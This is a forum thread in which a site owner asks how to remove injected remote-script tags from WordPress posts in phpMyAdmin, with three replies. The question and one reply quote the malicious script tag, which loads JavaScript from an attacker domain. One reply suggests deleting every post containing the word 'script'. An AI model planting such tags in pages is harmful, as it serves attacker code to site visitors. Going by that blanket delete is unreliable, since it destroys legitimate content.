phpmyadmin Question posted in
The official documentation can be found here.

Remove script from PHPmyadmin

My phpmyadmin is infected with this kind of script:

enter image description here

 <script src='https://scripts.lowerbeforwarden.ml/src.js?n=ns1' type='text/javascript'></script>

I am trying to remove them all by running this script into SQL

UPDATE wp_posts SET post_content = (REPLACE (post_content, “<script src='https://scripts.lowerbeforwarden.ml/src.js?n=ns1' type='text/javascript'></script>”, ""));

But I am getting error message:

#1064 – You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘src=’https://scripts.lowerbeforwarden.ml/src.js?n=ns1′ type=’text/javascript’></’ at line 1

Can you help me to remove them somehow?

Tags:

3

Answers


  1. 0

    I think can try something like this, 

    DELETE FROM wp_posts WHERE post_content LIKE '%script%'

    It filters out the post_content containing the word ‘script’ and deletes that row.

    Hope that works! But be careful about your existing posts.

    Login or Signup to reply.
  2. 0

    you can also click search tab on PhpMyAdmin and search for "lowerbeforwarden" then click delete button. After this deletion, the content in your website will be deleted also because the malware replaced your website contents. Get the clean database from your backup and export the wp_post table only and import it to PhpMyAdmin

    Login or Signup to reply.
  3. 0

    This worked for me! I had to remove the script from almost 1100 posts.

    UPDATE `wp_posts` SET post_content = REPLACE (post_content, "<script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script>", " ")

    Make sure you are typing correct number of script lines.

    Login or Signup to reply.
Please signup or login to give your own answer.

Back To Top
Search